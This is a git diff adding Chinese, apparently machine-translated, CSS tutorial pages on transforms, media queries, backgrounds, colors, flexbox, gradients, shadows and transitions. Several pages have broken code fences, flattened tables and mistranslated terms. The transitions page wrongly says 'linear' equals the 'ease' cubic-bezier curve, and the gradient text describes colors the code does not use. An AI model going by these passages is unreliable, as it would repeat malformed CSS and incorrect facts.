+  transform: skew(20deg); 
+ } 
+```
+
+## matrix（）方法
+
+`matrix()`方法将所有2D变换方法合并为一个。
+
+matrix（）方法采用六个参数，包含数学函数 允许您旋转，缩放，移动（平移）和倾斜元素。
+
+参数如下： 矩阵（将scaleX（），skewY（），如果skewX（），的scaleY（），平移X（），平移Y（））
+
+### 例：
+
+```css
+div { 
+  -ms-transform: matrix(1, -0.3, 0, 1, 0, 0); /* IE 9 */ 
+  -webkit-transform: matrix(1, -0.3, 0, 1, 0, 0); /* Safari */ 
+  transform: matrix(1, -0.3, 0, 1, 0, 0); 
+ } 
+```
+
+## CSS3转换属性
+
+下表列出了所有2D变换属性：
+
+|财产|说明| | ---------------- | -------------------------------------------------- ------- | |变换|对元素应用2D或3D变换 |变换起源|允许您更改转换元素的位置
+
+## 二维变换方法
+
+|功能|说明| | --------------------- | -------------------------------------------------- ----------------------- | |矩阵（n，n，n，n，n，n）|使用六个值的矩阵定义2D变换 | translate（x，y）|定义2D平移，沿X轴和Y轴移动元素 | translateX（n）|定义2D平移，沿X轴移动元素 | translateY（n）|定义2D平移，沿Y轴移动元素 | scale（x，y）|定义2D比例变换，更改元素的宽度和高度 | scaleX（n）|定义2D比例变换，更改元素的宽度| | scaleY（n）|定义2D比例变换，更改元素的高度| |旋转（角度）|定义2D旋转，角度在参数|中指定 |歪斜（x角，y角）|定义沿X轴和Y轴的2D倾斜变换 | skewX（角度）|定义沿X轴的2D倾斜变换 | skewY（角度）|定义沿Y轴|的2D倾斜变换
+
+## 更多信息：
+
+*   https://css-tricks.com/almanac/properties/t/transform/
+*   https://www.w3schools.com/css/css3\_2dtransforms.asp
+*   https://developer.mozilla.org/en-US/docs/Web/CSS/transform
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-at-media-rule/index.md b/client/src/guide/chinese/css/css3-at-media-rule/index.md
new file mode 100644
index 0000000000..d2f5cb7fa0
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-at-media-rule/index.md
@@ -0,0 +1,40 @@
+---
+title: CSS3 at Media Rule
+localeTitle: 媒体规则的CSS3
+---
+## 媒体规则的CSS3
+
+CSS3 Media规则是允许使用媒体查询的规则。媒体查询可以允许您根据不同的媒体类型或设备对网页（部分或全部）进行不同的样式设置。
+
+使用`@media`标记创建媒体查询，然后提供规则以检查以下内容：
+
+*   当前视口的宽度和高度
+*   设备的方向（这适用于平板电脑或手机）
+*   目前的决议
+*   和更多
+
+目前有四种可能的媒体类型：
+
+*   all（默认 - 这将针对所有设备）
+*   打印（用于打印机;例如提供单独的打印样式）
+*   屏幕（用于电脑，手机，平板电脑等）
+*   speech（用于屏幕阅读器等网页内容的辅助设备）
+
+媒体查询用于各种各样的purporses，因为它们允许许多不同的媒体功能。媒体查询最常见的用途之一是使网页响应;意味着它会根据屏幕大小而有所不同。
+
+媒体查询示例如下：
+
+```CSS
+@media screen and (max-width: 1000px) { 
+  body { 
+    background: #000; 
+  } 
+ } 
+```
+
+媒体查询规则中的CSS仅在规则成立时适用。例如，查看上面的代码段，只有当用户使用1000px或更小的设备访问该页面时，正文背景才会更改为`#000` 。如果超过1000px，该规则将不适用。
+
+#### 更多信息：
+
+*   [CSS @media规则](https://www.w3schools.com/cssref/css3_pr_mediaquery.asp)
+*   [使用媒体查询](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-backgrounds/index.md b/client/src/guide/chinese/css/css3-backgrounds/index.md
new file mode 100644
index 0000000000..4e9b809d3b
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-backgrounds/index.md
@@ -0,0 +1,92 @@
+---
+title: CSS3 Backgrounds
+localeTitle: CSS3背景
+---
+## CSS3背景
+
+CSS `background`速记属性用于定义多个属性，如：
+
+`background-color` ， `background-image` ， `background-repeat` ， `background-attachment`和`background-position`
+
+### 背景颜色
+
+`background-color`属性指定元素的背景颜色。
+
+```css
+   background-color : #F00; 
+```
+
+### 背景图片
+
+`background-image`属性指定要用作元素背景的图像。 默认情况下，图像重复自身以覆盖元素的整个表面。
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+```
+
+### 背景图片 - 重复
+
+默认情况下， `background-image`属性在X轴和Y轴上重复。 如果要设置轴，如X轴，请使用`background-repeat`属性类型：
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: repeat-x; 
+```
+
+但有时你不想在所有表面上都有背景，你可以通过输入以下内容来指定它：
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+```
+
+### 背景图片 - 位置
+
+您可以通过键入以下内容来指定背景的位置：
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+   background-position : left bottom; 
+```
+
+它会在元素的左下角设置背景。
+
+### 背景图像 - 固定位置
+
+如果您想要一个不会与页面其余部分一起滚动的背景图像，您可以使用`background-attachement`属性：
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+   background-position: left bottom; 
+   background-attachment: fixed; 
+```
+
+### 速记财产
+
+您可以在一个超级属性`background`传递所有属性：
+
+```css
+   background: #F00 url("GitHub-Mark.png") no-repeat fixed left bottom; 
+```
+
+使用速记属性时，您必须遵守此顺序：
+
+1.  背景颜色
+2.  背景图片
+3.  背景重复
+4.  背景附件
+5.  背景位置
+
+只要您尊重订单，如果缺少一处房产并不重要：
+
+```css
+   background: url("GitHub-Mark.png") no-repeat left bottom; 
+```
+
+即使缺少颜色和附件，这也会起作用。
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/background)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-borders-rounded-corners/index.md b/client/src/guide/chinese/css/css3-borders-rounded-corners/index.md
new file mode 100644
index 0000000000..b642d99d11
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-borders-rounded-corners/index.md
@@ -0,0 +1,67 @@
+---
+title: CSS3 Border Radius Property
+localeTitle: CSS3 Border Radius属性
+---
+## CSS3 Border Radius属性
+
+使用CSS3，您可以使用`border-radius`属性为任何元素提供“圆角”。该值可以是任何有效的CSS长度单位。
+
+```css
+  .rounded-corners { 
+    border-radius: 20px; 
+  } 
+ 
+  .circle { 
+    border-radius: 50%; 
+  } 
+```
+
+![例子](https://github.com/kaithrendyle/guide-photos/blob/master/rounded-circle.png?raw=true)
+
+**注意：** `border-radius`属性实际上是`border-top-left-radius` ， `border-top-right-radius` ， `border-bottom-right-radius`和`border-bottom-left-radius`属性的简写属性。
+
+如果只提供一个值，则所有四个角的border-radius将相同，如上例所示。但您也可以选择为每个角指定不同的值。
+
+```css
+.new-shape { 
+  border-radius: 20px 50px 5px 0; /* top left, top right, bottom right, bottom left */ 
+ } 
+```
+
+如果仅提供两个值，则第一个值适用于左上角和右下角，第二个值适用于右上角和左下角。
+
+```css
+.leaf-shape { 
+  border-radius: 0 50%; 
+ } 
+```
+
+如果设置了三个值，则第一个值再次应用于左上半径，第二个值指示右上角和左下角，留下第三个值以指示右下角。
+
+```css
+.odd-shape { 
+  border-radius: 0 20px 50%; 
+ } 
+```
+
+![例子](https://github.com/kaithrendyle/guide-photos/blob/master/odd-shapes.png?raw=true)
+
+拐角的圆角不必完全对称。您可以使用斜杠（“/”）指定水平和垂直半径，以获得具有椭圆形状的角。 \`\`\`CSS .elliptical-1 { border-radius：50px / 10px; / \*水平半径/垂直半径\* / } .elliptical-2 { border-radius：10px / 50px; }
+```
+![examples](https://github.com/kaithrendyle/guide-photos/blob/master/elliptical-basic.png?raw=true) 
+ 
+ Since only one pair of values is given in the above examples, all four corners are the same. But, of course, if you want a more complex shape, you may supply up to four values for the horizontal radiuses and four for the vertical radiuses. 
+```
+
+CSS .elliptical-3 { border-radius：50px 20px 50px 20px / 20px 50px 20px 50px; / \*水平左上，水平右上，水平右下，水平左下/垂直左上，垂直右上，垂直右下，垂直左下\* / }
+```
+Notice how the shorthand above produces the same result as specifying individual properties below. Be aware that when corners are set individually the values are space-separated instead of slash-separated. 
+```
+
+CSS .elliptical-4 { border-top-left-radius：50px 20px; / \*水平半径，垂直半径\* / border-top-right-radius：20px 50px; border-bottom-right-radius：50px 20px; border-bottom-left-radius：20px 50px; } \`\`\` ![例子](https://github.com/kaithrendyle/guide-photos/blob/master/elliptical-advance.png?raw=true)
+
+### 更多信息：
+
+*   CSS技巧： [CSS技巧](https://css-tricks.com/almanac/properties/b/border-radius/)
+*   MDN文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius)
+*   浏览器支持： [caniuse](http://caniuse.com/#search=border-radius)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-colors/index.md b/client/src/guide/chinese/css/css3-colors/index.md
new file mode 100644
index 0000000000..812d8e8196
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-colors/index.md
@@ -0,0 +1,82 @@
+---
+title: CSS3 Colors
+localeTitle: CSS3颜色
+---
+## CSS3颜色
+
+CSS中的颜色用于着色网页中的元素。有许多方法可以为元素指定颜色。您可以使用颜色的实际名称，RGB值或十六进制值。在CSS3中，hsl（色调饱和度 - 亮度）已添加到规范中。
+
+### 颜色名称
+
+目前，HTML支持140种颜色名称，只需键入其名称即可在CSS规则中指定。例如：
+
+### 句法
+```
+p { 
+  color: green; 
+ } 
+```
+
+此规则更改所有\\的所有字体颜色
+
+绿色的元素。 有关完整的140色列表，请访问：https：//www.w3schools.com/colors/colors\_names.asp
+
+### RGB值
+
+RGB代表“红色”，“绿色”和“蓝色”，我们还可以通过在规则中键入RGB值来指定颜色。 RGB值如下所示：rgb（255,0,0），其中每个数字定义最终混合中每种颜色的多少。
+
+值的范围从0到255，在我们的示例中，我们看到只有第一个值是255而其他两个设置为0.这意味着我们的值中只有红色，相应的元素将显示为红色。 RGB值（0,0,0）将给出黑色，值（255,255,255）将给出白色。
+
+不可能尝试记住每个颜色代码，因此有很多工具可以在线选择您想要的项目颜色。例如：https：//www.w3schools.com/colors/colors\_picker.asp或http://htmlcolorcodes.com/color-picker/。
+
+```css
+p { 
+  color: rgb(0, 255, 0); 
+ } 
+```
+
+此规则将所有p元素的字体颜色更改为绿色，就像上面一样。
+
+### 十六进制值
+
+十六进制值是另一种在CSS中定义颜色的方法，它们与RGB值的工作方式非常相似。
+
+一个随机的十六进制代码是这样的： `#29432b` ，其中散列后面的前两个字符表示混合中的RED量，后两个代表绿色量，后两个代表蓝色量。
+
+`#000000`和`#ffffff`的值分别代表黑色和白色。 您可以使用为RGB值提到的相同工具找到所需的特定十六进制颜色。
+
+### 句法
+```
+p { 
+  color: #00fe00; 
+ } 
+```
+
+此规则再次将所有p元素的字体颜色更改为绿色。
+
+### HSL
+
+HSL有三个值。 第一个是**Hue** ，以度为单位。所以0（或360）表示红色，120表示绿色，240表示蓝色。 第二个是**饱和度** ，其百分比值范围为0到100％。 第三个是**Lightness** ，其百分比值也在0到100％之间。 0％为深黑色，50％为平均值，100％为白色。
+
+### 句法
+```
+p { 
+  color: hsl(0, 100%, 50%); 
+ } 
+```
+
+### 产量
+
+[的jsfiddle](https://jsfiddle.net/qcw2n145/)
+
+### 为什么要使用RGB或HEX值？
+
+颜色名称只有140个值，而RGB和HEX值有16,777,216种可能的组合。因此，如果您希望项目看起来完全符合您的设想，则应使用后两个选项并保留颜色名称值以用于模型和测试目的。
+
+#### 更多信息：
+
+[W3Schools的](https://www.w3schools.com/colors/default.asp)
+
+[W3文件草案](https://drafts.csswg.org/css-color-3/#color)
+
+[MDN | CSS颜色](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-flexible-box/index.md b/client/src/guide/chinese/css/css3-flexible-box/index.md
new file mode 100644
index 0000000000..79e5b0455d
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-flexible-box/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS3 Flexible Box
+localeTitle: CSS3灵活盒子
+---
+## CSS3灵活盒子
+
+Flexbox模型提供了一种在文档中元素之间布局，对齐和分配空间的有效方法 - 即使视口和元素的大小是动态的还是未知的。
+
+Flexbox模型背后最重要的思想是父容器可以改变其项目的宽度/高度/顺序，以最好地填充可用空间。 Flex容器扩展项目以填充可用空间，或缩小它们以防止溢出。 1
+
+#### 基本用法
+
+Flexbox可用于将任意数量的给定元素置于一个元素内。一个基本的例子是以下代码：
+
+`css .center-elements-inside { display: flex; flex-direction: row; justify-content: center; }`
+
+让我们分解这个例子。首先我们将display属性设置为“flex”，以便我们可以应用我们的flexbox属性。接下来我们宣布flexbox将处理我们的元素的方式。这可以是一行，也可以是一列。将其设置为行将使元素在元素内水平对齐。该列将垂直对齐它们。
+
+现在让我们简单介绍一下“对齐内容”。此属性声明元素在父元素内的分布方式。我们选择了“中心”值。这意味着此元素中的所有元素都将居中。
+
+#### 更多信息：
+
+要全面了解Flexbox，请阅读在FreeCodeCamp Medium页面上[了解您需要了解的所有内容](https://medium.freecodecamp.org/understanding-flexbox-everything-you-need-to-know-b4013d4dc9af) 。
+
+有关交互式指南，请[参阅Flexbox终极指南 - 通过示例学习](https://medium.freecodecamp.org/the-ultimate-guide-to-flexbox-learning-through-examples-8c90248d4676)
+
+这两个都是Ohans Emmanuel的巨大资源。
+
+另一个深入但易于理解的优秀视觉指南可以在[CSS-Tricks的](https://css-tricks.com) [“指南”中](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)找到
+
+### 来源
+
+1.  [Coyier，克里斯。 “Flexbox完整指南”CSS-Tricks。最后更新时间为2017年9月28日。](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-gradients/index.md b/client/src/guide/chinese/css/css3-gradients/index.md
new file mode 100644
index 0000000000..3e95170317
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-gradients/index.md
@@ -0,0 +1,136 @@
+---
+title: CSS3 Gradients
+localeTitle: CSS3渐变
+---
+## CSS3渐变
+
+CSS3渐变可让您在两种或多种指定颜色之间显示平滑过渡。
+
+之前，您必须使用图像来实现这些效果。但是，通过使用CSS3渐变，您可以减少下载时间和带宽使用。此外，渐变元素在缩放时看起来更好，因为渐变是由浏览器生成的。
+
+CSS3定义了两种类型的渐变：
+
+*   线性渐变（向下/向上/向左/向右/对角线）
+*   径向梯度（由其中心定义）
+
+### CSS3线性渐变
+
+要创建线性渐变，您必须至少定义两个色标。颜色停止是您想要渲染平滑过渡的颜色。您还可以设置起点和方向（或角度）以及渐变效果。
+
+#### 句法
+```
+background: linear-gradient(direction, color-stop1, color-stop2, ...); 
+```
+
+##### 线性渐变 - 从上到下（这是默认值）
+
+以下示例显示从顶部开始的线性渐变。它开始变红，过渡到黄色： ![默认线性梯度](https://i.imgur.com/2uGfleD.jpg)
+
+#### 例
+```
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(red, green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(red, green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Top to Bottom</h3> 
+ <p>This linear gradient starts at the top. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+![默认线性梯度](https://i.imgur.com/CvtXCMd.jpg)
+
+##### 线性渐变 - 从左到右
+
+以下示例显示从左侧开始的线性渐变。它开始变红，过渡到黄色： ![左到右](https://i.imgur.com/e4dRvZR.jpg)
+
+#### 例
+```
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(left, red , green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(right, red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(right, red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(to right, red , green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Left to Right</h3> 
+ <p>This linear gradient starts at the left. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+![左到右](https://i.imgur.com/k4FSyXz.jpg)
+
+#### 线性渐变 - 对角线
+
+您可以通过指定水平和垂直起始位置来对角线制作渐变。
+
+以下示例显示从左上角开始（并向右下方）的线性渐变。它开始变红，过渡到黄色：
+
+![对角线](https://i.imgur.com/YvtbUBH.jpg)
+
+#### 例
+```
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(left top, red, green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(bottom right, red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(bottom right, red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(to bottom right, red, green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Diagonal</h3> 
+ <p>This linear gradient starts at top left. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+![对角线EXP](https://i.imgur.com/8gKRhAp.jpg)
+
+#### 更多信息：
+
+[MDN Documentatiion](https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient) || [W3Schools的](https://www.w3schools.com/css/css3_gradients.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-grid-layout/index.md b/client/src/guide/chinese/css/css3-grid-layout/index.md
new file mode 100644
index 0000000000..5266d39b49
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-grid-layout/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Grid Layout
+localeTitle: CSS网格布局
+---
+## CSS网格布局
+
+CSS Grid Layout是CSS中最强大的布局系统。 它是一个二维系统，意味着它可以处理列和行，不像flexbox主要是一维系统。 虽然并非所有浏览器都完全支持网格布局，但它是制作页面布局的最先进和最方便的方法。
+
+#### 更多信息：
+
+有关更多信息，请阅读 [](http://chris.house/blog/a-complete-guide-css-grid-layout/) Chris House [完整的CSS网格布局指南](http://chris.house/blog/a-complete-guide-css-grid-layout/) 。
+
+有关浏览器支持的更多信息，请访问[https://caniuse.com](https://caniuse.com/#feat=css-grid) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-media-queries/index.md b/client/src/guide/chinese/css/css3-media-queries/index.md
new file mode 100644
index 0000000000..93fa51c575
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-media-queries/index.md
@@ -0,0 +1,54 @@
+---
+title: CSS3 Media Queries
+localeTitle: CSS3媒体查询
+---
+## CSS3媒体查询
+
+媒体查询允许您针对不同的设备/屏幕尺寸使用不同的样式。他们在CSS3中的介绍大大缓解了这一建设 响应式网页。
+
+设计响应式网站时的最佳方法是先考虑移动设备;意味着您从设计和内容开始创建页面 移动版本。您可能认为使用某些可扩展的大小（％，vw或vh），您的页面将完全适应任何设备。但事实并非如此。也许 对于一些非常基本的设计，但肯定不适用于更常见或复杂的页面！
+
+在为较小的设备设计页面时，您将专注于主要内容。在更大的屏幕上，你必须重新设置一些字体大小，边距， 填充等等，以保持您的网站舒适和可读，但你也想要/需要添加更多的内容，你没有判断的内容 基本的，并填写由屏幕大小创建的空间。
+
+思考过程应该是：
+
+1.  要显示哪些内容？
+2.  怎么布局？
+3.  尺寸？
+
+### 基本语法
+
+```css
+    @media only screen and (min-width: 768px) { 
+      p {padding: 30px;} 
+    } 
+```
+
+一旦屏幕达到最小768px宽度， `p`标签将具有30px的填充。
+
+### AND语法
+
+```css
+  @media only screen and (min-height: 768px) and (orientation: landscape) { 
+    p {padding: 30px;} 
+  } 
+```
+
+一旦屏幕达到最小768px高度且其方向为横向， `p`标签将具有30px的填充。
+
+### OR语法
+
+```css
+    @media only screen and (min-width: 768px), (min-resolution: 150dpi) { 
+      p {padding: 30px;} 
+    } 
+```
+
+一旦屏幕达到最小768px宽度或其分辨率达到最小150dpi， `p`标签将具有30px的填充。
+
+### 更多信息
+
+*   [MDN - 媒体查询](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+*   [W3学校 - @media规则](https://www.w3schools.com/cssref/css3_pr_mediaquery.asp)
+*   [CSS欺骗标准设备宽度Atricle](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)
+*   \[https://alistapart.com/article/responsive-web-design\](Ethan Marcotte在响应式网页设计上列出一个单独的列表）
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-multiple-columns/index.md b/client/src/guide/chinese/css/css3-multiple-columns/index.md
new file mode 100644
index 0000000000..179bb02504
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-multiple-columns/index.md
@@ -0,0 +1,24 @@
+---
+title: CSS3 Multiple Columns
+localeTitle: CSS3多列
+---
+## CSS3多列
+
+CSS **多列布局**扩展了_块布局_模式，以便轻松定义多列文本。如果线条太长，人们就无法阅读文字;如果眼睛从一条线的末端移动到下一条线的开头需要太长时间，它们就会忘记它们所在的线。因此，为了最大限度地利用大屏幕，作者应该将有限宽度的文本列并排放置，就像报纸一样。
+
+遗憾的是，如果不强制固定位置的列中断，或者严格限制文本中允许的标记，或使用英雄脚本，则无法使用CSS和HTML。通过添加新的CSS属性来扩展传统的块布局模式，可以解决此限制。
+
+有几个属性可以让您自定义多列布局：
+
+*   列数
+*   柱隙
+*   列规则式
+*   列规则宽度
+*   列治色
+*   列治
+*   列跨度
+*   列宽
+
+#### 更多信息：
+
+[这是一篇很好的文章，](https://css-tricks.com/almanac/properties/c/columns/)可以阅读以了解有关CSS3多列的更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-nth-child-selector/index.md b/client/src/guide/chinese/css/css3-nth-child-selector/index.md
new file mode 100644
index 0000000000..d8cb3381fb
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-nth-child-selector/index.md
@@ -0,0 +1,44 @@
+---
+title: CSS3 Nth Child Selector
+localeTitle: CSS3 Nth Child Selector
+---
+## CSS3 Nth Child Selector
+
+第`nth-child`选择器是一个css伪类，它采用一种模式来匹配一个或多个元素相对于它们在兄弟姐妹中的位置。
+
+## 句法
+
+\`\`\`CSS a：nth-​​child（pattern）{ / \* Css到这里\* / }
+```
+### Pattern 
+ 
+ The patterns accepted by `nth-child` can come in the form of keywords or an equation of the form An+B. 
+ 
+ #### Keywords 
+ 
+ ##### Odd 
+ 
+ Odd returns all odd elements of a given type. 
+```
+
+CSS a：nth-​​childe（odd）{ / \* CSS在这里\* / }
+```
+##### Even 
+ 
+ Even returns all even elements of a given type. 
+```
+
+CSS a：nth-​​childe（偶数）{ / \* CSS在这里\* / }
+```
+#### An+B 
+ 
+ Returns all elements matching the equation An+B for every positive integer value of n (in addition to 0). 
+ 
+ For example, the following will match every 3rd anchor element: 
+```
+
+CSS a：nth-​​childe（3n）{ / \* CSS在这里\* / } \`\`\`
+
+### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/%3Anth-child) [CSS技巧 - 第n个子选择器](https://css-tricks.com/almanac/selectors/n/nth-child/) [CSS技巧 - 第n个儿童测试员](https://css-tricks.com/examples/nth-child-tester/) [W3Scools - 第n个儿童选择器](https://www.w3schools.com/cssref/sel_nth-child.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-opacity-property/index.md b/client/src/guide/chinese/css/css3-opacity-property/index.md
new file mode 100644
index 0000000000..aa2353c4a4
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-opacity-property/index.md
@@ -0,0 +1,36 @@
+---
+title: CSS3 Opacity Property
+localeTitle: CSS3不透明度属性
+---
+## CSS3不透明度属性
+
+`opacity`允许您控制元素在`0`到`1`范围内的透明度。
+
+如果将元素的属性设置为`0`则它将是透明的。如果将其设置为`1`则它将是不透明的。
+
+将元素设置为`opacity: 0;`不会从页面中删除它。该元素仍然可以点击并影响页面内容的流程。
+
+```css
+.transparent { 
+    opacity: 0; 
+ } 
+ 
+ .verySeeThrough { 
+    opacity: 0.3; 
+ } 
+ 
+ .slightlySeeThrough { 
+    opacity: 0.7; 
+ } 
+ 
+ .opaque { 
+    opacity: 1; 
+ } 
+```
+
+[这个简单的示例](https://jsfiddle.net/1ogmxaf8/1/)显示了如何使用具有悬停效果的不透明度。
+
+#### 更多信息：
+
+*   [MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)
+*   [CSS诀窍年鉴](https://css-tricks.com/almanac/properties/o/opacity/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-shadow-effects/index.md b/client/src/guide/chinese/css/css3-shadow-effects/index.md
new file mode 100644
index 0000000000..45feba1e68
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-shadow-effects/index.md
@@ -0,0 +1,86 @@
+---
+title: CSS3 Shadow Effects
+localeTitle: CSS3阴影效果
+---
+## CSS3阴影效果
+
+使用CSS3，您可以创建两种类型的阴影： `text-shadow` （向文本添加阴影）和`box-shadow` （向其他元素添加阴影）。
+
+### CSS3文字阴影
+
+`text-shadow`属性最多可以包含四个值：
+
+*   水平阴影
+*   垂直阴影
+*   模糊效果
+*   颜色
+
+##### 例子：
+
+*   普通文字阴影
+
+```css
+h1 { 
+    text-shadow: 2px 2px 5px crimson; 
+ } 
+```
+
+![普通文本阴影示例](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow1.png)
+
+*   发光的文字效果
+
+```css
+h1 { 
+    text-shadow: 0 0 4px #00FF9C; 
+ } 
+```
+
+![发光文字示例](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow2.png)
+
+#### 多个阴影
+
+要实现此目的，您只需在两组（或多组）值之间添加逗号：
+
+```css
+h1 { 
+    color: white; 
+    text-shadow: 0 0 3px #F10D58, 0 0 7px #4578D5; 
+ } 
+```
+
+![多个阴影examaple与白色文本](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow3.png)
+
+### CSS3 Box Shadow
+
+`box-shadow`属性最多可以包含六个值：
+
+*   （可选） `inset`关键字（将阴影更改为框架内的一个）
+*   水平阴影
+*   垂直阴影
+*   模糊效果
+*   传播
+*   颜色
+
+##### 例子：
+
+```css
+.first-div { 
+    box-shadow: 1px 1px 5px 3px grey; 
+ } 
+ 
+ .second-div { 
+    box-shadow: 0 0 5px 1px lightgrey; 
+ } 
+ 
+ .third-div { 
+    box-shadow: inset 0 0 15px 5px rgba(0,0,0,0.75); 
+ } 
+```
+
+![箱影实例](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/box-shadows.png)
+
+#### 更多信息：
+
+*   [MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow?v=b)
+*   [检查浏览器支持](https://caniuse.com/#search=box-shadow)
+*   [CSS盒子阴影生成器](https://www.cssmatic.com/box-shadow) （随意尝试盒阴影）
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-transitions/index.md b/client/src/guide/chinese/css/css3-transitions/index.md
new file mode 100644
index 0000000000..e43e61df85
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-transitions/index.md
@@ -0,0 +1,123 @@
+---
+title: CSS3 Transitions
+localeTitle: CSS3过渡
+---
+## CSS3过渡
+
+如果您希望您的应用或网页更具动态性和美观，则使用CSS3 **过渡**非常有用。
+
+实际上，转换允许您以**平滑的**方式更改属性（ `width` ， `color` ，...）值。
+
+`transition`属性是`transition-property` ， `transition-duration` ， `transition-timing-function` ， `transition-delay`的简写属性，语法如下：
+
+```css
+transition: transition-property transition-duration transition-timing-function transition-delay 
+```
+
+例如 ：
+```
+transition: width 2s ease-in-out 1s; 
+```
+
+### 属性描述
+
+#### `transition-property`
+
+指定应应用转换的属性的**名称** ：
+
+*   `background-color`
+*   `color`
+*   `width`
+*   `height`
+*   `margin`
+*   `border-radius`
+*   等等 ！
+
+例如 ：
+```
+transition-property: width; /* means the transition applies on the width */ 
+```
+
+#### `transition-duration`
+
+指定转换应**采用** **的秒数或毫秒数** ：
+
+例如 ：
+```
+transition-duration: 2s /* means the transition effect last 2s */ 
+```
+
+#### `transition-timing-function`
+
+指定过渡效果的**速度曲线** 。因此，您可以**在其持续时间内**更改**转换的速度** 。
+
+以下是最常用的值：
+
+*   `linear`
+*   `ease`
+*   `ease-in`
+*   `ease-out`
+*   `ease-in-out`
+*   `cubic-bezier(n, n, n, n)`
+
+例如 ：
+
+```css
+transition-timing-function: linear 
+```
+
+注意：上面的所有值实际上都是特定的`cubic-bezier` 。例如， `linear`相当于`cubic-bezier(0.25,0.1,0.25,1)`
+
+您可以[在这里](http://cubic-bezier.com/)试验并了解有关_Cubic Bezier的_更多信息
+
+#### `transition-delay`
+
